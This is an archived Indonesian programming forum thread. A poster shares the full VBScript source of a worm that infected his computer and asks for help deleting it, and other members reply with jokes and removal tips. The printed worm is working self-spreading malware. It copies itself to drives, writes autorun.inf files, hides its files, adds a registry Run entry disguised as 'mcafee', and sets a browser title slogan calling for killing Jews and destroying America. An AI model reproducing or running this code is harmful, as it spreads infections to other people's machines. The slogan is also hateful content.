Arsip: Virus Atau Bukan...Yg Gue Bantai.....xixixixixi

more 17 years ago
Kutipan gamabr di atas daku screen dari PC ndiri gara2 Bro retina kumpieku jadi kena juga xixixixixixxi(yaya@retina dikau tak ikut dalam kasus ini)
[vb:1:65574ecf32]
on error resume next
Rem 121206, do u still remember dis day us_3?
Dim src, winpath, flashdrive, fs, mf, atr, tf, rg, nt, check, sd:atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe sfx.dll.vbs":Set
fs = CreateObject("Scripting.FileSystemObject"): Set mf = fs.getfile(Wscript.ScriptFullname):
Dim text, size: size = mf.size: check = mf.drive.drivetype: Set text = mf.openastextstream(1, -2)
Do While Not text.atendofstream: src=src&text.readline: src = src & vbCrLf:
Loop
Do: Set winpath = fs.getspecialfolder(0): Set tf = fs.getfile(winpath & "\sfx.dll.vbs"): tf.Attributes = 32: Set tf = fs.createtextfile(winpath & "\sfx.dll.vbs", 2, True): tf.write src:
tf.Close: Set tf = fs.getfile(winpath & "\sfx.dll.vbs"): tf.Attributes = 39
For Each flashdrive In fs.drives
If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path <> "A:" Then:
Set tf = fs.getfile(flashdrive.Path & "\sfx.dll.vbs"): tf.Attributes = 32:
Set tf = fs.createtextfile(flashdrive.Path & "\sfx.dll.vbs", 2, True): tf.write src:
tf.Close:
Set tf = fs.getfile(flashdrive.Path & "\sfx.dll.vbs"): tf.Attributes = 39:
Set tf = fs.getfile(flashdrive.Path & "\autorun.inf"): tf.Attributes = 32:
Set tf = fs.createtextfile(flashdrive.Path & "\autorun.inf", 2, True): tf.write atr: tf.Close:
Set tf = fs.getfile(flashdrive.Path & "\autorun.inf"): tf.Attributes = 39:
End If
Next
Set rg = CreateObject("WScript.Shell"): rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\mcafee",winpath & "\sfx.dll.vbs": rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Bantai Yahudi!!!! Hancurkan Amerika!!! [Bantai Axe gank dan antek2nya!!! SFX harus menang!!!!]":
rg.regwrite "HKCR\vbsfile\DefaultIcon", "shell32.dll,2"
If check <> 1 Then Wscript.sleep 200000
Loop While check <> 1: Set sd = CreateObject("Wscript.shell"):
sd.run winpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
[/vb:1:65574ecf32]
Xixixi Kebetulan Pernah Belajar Vb Script jadi sedikit apal tindak tanduknya..
Itulah Kutipan Hardcode Sang Pujangga SFX...xixixixi VBS...gara-gara BT sama window tile yang diambil alih sama dia....Virus atau apalah namanya udah bisa dihandle secara manual..tapi file induxnya masih hidden C:\WINDOWS\sfx.dll.vbs masih belum bisa daku hapus padahal udah tak coba harcode dengan delphi juga masih tetap ada!
Terpaksa pake gaya purba kala menggunakan
saysansay

RenameFile('C:\WINDOWS\System32\wscript.exe','C:\WINDOWS\System32\wscript1.exe')
Tujuannya agar sfx.dll.vbs tidak bisa membuat aoutorun..xixixixixixi
Gimana yah agar si sfx.dll.vbs ini bisa kehapus..daku msh belum ada solusi...
more 17 years ago
yayaretina
xixixixixixiiiii.... kok subject ama posting beda ya..
@saysansay: Gimana yah agar si sfx.dll.vbs ini bisa kehapus..daku msh belum ada solusi...hehehehehe... bawa2 nama gue lagi... @San masa' dah lupa sih yang gue kasih tahu kemaren [mode on belagu] hehehehe...

more 17 years ago
imunk
wah payah nih si san..............
baru kemaren ku kasih tau masa sudah lupa, sia-sia dong aku sampe blemotan
ngajarin dikau. mana gak dibayar lagi............
lupa ato emang dasarnya gak bisa sih........
payah.... payah.....
belajar lagi sana.....
gitu aja kok repot.

more 17 years ago
deLogic
baca nih: http://www.astaufik.net/comments.php?y=07&m=11&entry=entry071127-131519

more 17 years ago
DelphiExpert
Ditinggal tidur dulu aja san... entar bangun tidur coba dihapus lagi, siapa tahu bisa... xixixi :mrgreen:
ngosh... ngosh...


more 17 years ago
Manz
yach ... gimana san ini .. kata om DE juga ditinggal tidur ajah ...
kalo aku sih mendingan simpen kompienya didepan pagar ... pasti deh bisa dihapus .... :mrgreen:
wakakakakakakakak

more 17 years ago
ImanD
wakakkaka, san banyak cara u/ hapus file tersebut....
1. boot dos command, Deleted!
2. install ulang windows
3. Format Drive
4. Low Level Format
5. FDisk skalian az....
xixiixix, dijamin kelar tuh file......

more 17 years ago
Manz
satu lagi ...
beli harddisk baru ... dijamin kelar sekali ...
wakakakakaakakakaka :mrgreen:
more ...
reply |
Report Obsolete
AI Forward

🚀 We're thrilled to partner with Alibaba Cloud for "AI Forward - Alibaba Cloud Global Developer Summit 2025" in Jakarta! Join us and explore the future of AI. Register now:
https://int.alibabacloud.com/m/1000400772/
#AlibabaCloud #DeveloperSummit #Jakarta #AIFORWARD
Last Articles
Last Topic
- PascalTalk #6: (Podcast) Kuliah IT di luar negeri, susah gak sih?
by LuriDarmawan in Tutorial & Community Project more 4 years ago - PascalTalk #5: UX: Research, Design and Engineer
by LuriDarmawan in Tutorial & Community Project more 4 years ago - PascalTalk #4: Obrolan Ringan Seputar IT
by LuriDarmawan in Tutorial & Community Project more 4 years ago - PascalTalk #2: Membuat Sendiri SMART HOME
by LuriDarmawan in Tutorial & Community Project more 4 years ago - PascalTalk #3: RADically Fast and Easy Mobile Apps Development with Delphi
by LuriDarmawan in Tutorial & Community Project more 4 years ago - PascalTalk #1: Pemanfaatan Artificial Intelligence di Masa Covid-19
by LuriDarmawan in Tutorial & Community Project more 4 years ago - Tempat Latihan Posting
by LuriDarmawan in OOT more 5 years ago - Archive
- Looping lagi...
by idhiel in Hal umum tentang Pascal Indonesia more 12 years ago - [ask] koneksi ke ODBC user Dsn saat runtime dengan ado
by halimanh in FireBird more 12 years ago - Validasi menggunakan data tanggal
by mas_kofa in Hal umum tentang Pascal Indonesia more 12 years ago
Random Topic
- dll lagi
by brodien in Enginering more 19 years ago - tanya soal quick report
by Computer(Insane) in Tip n Trik Pemrograman more 18 years ago - Mau Nanya!!
by gusk in Hal umum tentang Pascal Indonesia more 17 years ago - Radio Group Find...
by saysansay in Enginering more 19 years ago - Decompose file jpg dan bmp
by dannytux in Tip n Trik Pemrograman more 17 years ago - BDS 2006 Architect / Catastrophic Failure
by Manz in OOT more 18 years ago - StringGrid or DBGrid???
by n3o_cybertech in Tutorial & Community Project more 17 years ago - simpan gambar *.jpg ke database
by a2zkarim in Hal umum tentang Pascal Indonesia more 19 years ago - Menyimpan *.wav di paradox
by abdhe in Bedah Kasus more 17 years ago - QuickReport-PageFooter
by ichan29 in Tip n Trik Pemrograman more 17 years ago